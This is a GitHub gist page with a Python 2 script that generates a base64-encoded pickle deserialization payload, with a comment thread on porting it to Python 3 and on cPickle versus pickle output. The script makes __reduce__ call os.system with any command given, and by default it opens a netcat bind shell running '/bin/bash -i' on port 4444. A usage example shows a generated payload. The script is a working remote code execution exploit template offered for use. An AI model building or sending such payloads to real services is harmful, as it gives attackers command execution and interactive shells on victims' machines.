Skip to content

Instantly share code, notes, and snippets.

@mgeeky
Last active July 9, 2024 07:55
Show Gist options
  • Save mgeeky/cbc7017986b2ec3e247aab0b01a9edcd to your computer and use it in GitHub Desktop.
Save mgeeky/cbc7017986b2ec3e247aab0b01a9edcd to your computer and use it in GitHub Desktop.
Python's Pickle Remote Code Execution payload template.
#!/usr/bin/python
#
# Pickle deserialization RCE payload.
# To be invoked with command to execute at it's first parameter.
# Otherwise, the default one will be used.
#
import cPickle
import sys
import base64
DEFAULT_COMMAND = "netcat -c '/bin/bash -i' -l -p 4444"
COMMAND = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_COMMAND
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
@mgeeky
Copy link
Author

mgeeky commented Aug 31, 2018

Usage example:

C:\Users\pickle> python D:\devel\pickle.py "uname -a"
Y250CnN5c3RlbQpwMQooUyd1bmFtZSAtYScKcDIKdFJwMwou

@Anon-Exploiter
Copy link

Thanks much =)

@b4d7r1p
Copy link

b4d7r1p commented May 25, 2021

Worked like a charm. How would this change in python3 though?

@shafdo
Copy link

shafdo commented Jul 31, 2021

Thank you @mgeeky.

@shafdo
Copy link

shafdo commented Jul 31, 2021

Worked like a charm. How would this change in python3 though?

Hey, @b4d7r1p I've created a python3 script. Maybe you could check it out.

@Anon-Exploiter
Copy link

Worked like a charm. How would this change in python3 though?

Change the last print statement to have brackets:
print base64.b64encode(cPickle.dumps(PickleRce())) to print(base64.b64encode(cPickle.dumps(PickleRce())))

@shafdo
Copy link

shafdo commented Jul 31, 2021

Worked like a charm. How would this change in python3 though?

Change the last print statement to have brackets:
print base64.b64encode(cPickle.dumps(PickleRce())) to print(base64.b64encode(cPickle.dumps(PickleRce())))

Yes, @Anon-Exploiter you're correct πŸ‘. I did some digging, the thing is python3 doesn't have a module called cPickle. However, there is a built-in module for python3 called pickle to do the serialization stuff but the output of cPickle.dumps() vs pickle.dumps() differs. I'm not sure why that happens. Does anyone know why? I would love to know. I've also added a sketch below that explains the issue.

image

Have a nice day guys.

@Anon-Exploiter
Copy link

Worked like a charm. How would this change in python3 though?

Change the last print statement to have brackets:
print base64.b64encode(cPickle.dumps(PickleRce())) to print(base64.b64encode(cPickle.dumps(PickleRce())))

Yes, @Anon-Exploiter you're correct πŸ‘. I did some digging, the thing is python3 doesn't have a module called cPickle. However, there is a built-in module for python3 called pickle to do the serialization stuff but the output of cPickle.dumps() vs pickle.dumps() differs. I'm not sure why that happens. Does anyone know why?. I've also added a sketch below that explains the issue.

image

Have a nice day guys.

Ah, should have tested before saying to just use print() my bad πŸ˜› -- Thanks for correcting.


Btw, the end result Is the same for both:

>>> import cPickle
>>>
>>> A = [1,2,3,4,5,6]
>>>
>>> cPickle.dumps(A, protocol=0)
'(lp1\nI1\naI2\naI3\naI4\naI5\naI6\na.'
>>>
>>> cPickle.loads(cPickle.dumps(A, protocol=0))
[1, 2, 3, 4, 5, 6]
>>>
>>>
>>> import pickle
>>>
>>>
>>> pickle.loads( cPickle.dumps(A, protocol=0) )
[1, 2, 3, 4, 5, 6]
>>> pickle.loads( pickle.dumps(A, protocol=0) )
[1, 2, 3, 4, 5, 6]
>>>
>>> pickle.dumps(A, protocol=0)
'(lp0\nI1\naI2\naI3\naI4\naI5\naI6\na.'
>>>
>>>

image

Found this explanation:
https://stackoverflow.com/a/7501980

@shafdo
Copy link

shafdo commented Aug 1, 2021

No problem @Anon-Exploiter. Thanks for the response πŸ‘. That was a good explanation.

So I believe the conclusion is that "There is no guarantee that seemingly identical objects will produce identical pickle strings.". Which means, even though the pickle strings (serialized data) generated from cPickle.dumps() or pickle.dumps() does not give exact identical results, when deserializing them with loads() we get the same results.

Thank you @Anon-Exploiter for clearing my doubt πŸ’―. Have a nice day.

@Anon-Exploiter
Copy link

No problem @Anon-Exploiter. Thanks for the response πŸ‘. That was a good explanation.

So I believe the conclusion is that "There is no guarantee that seemingly identical objects will produce identical pickle strings.". Which means, even though the pickle strings (serialized data) generated from cPickle.dumps() or pickle.dumps() does not give exact identical results, when deserializing them with loads() we get the same results.

Thank you @Anon-Exploiter for clearing my doubt πŸ’―. Have a nice day.

You're welcome! 🐱

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment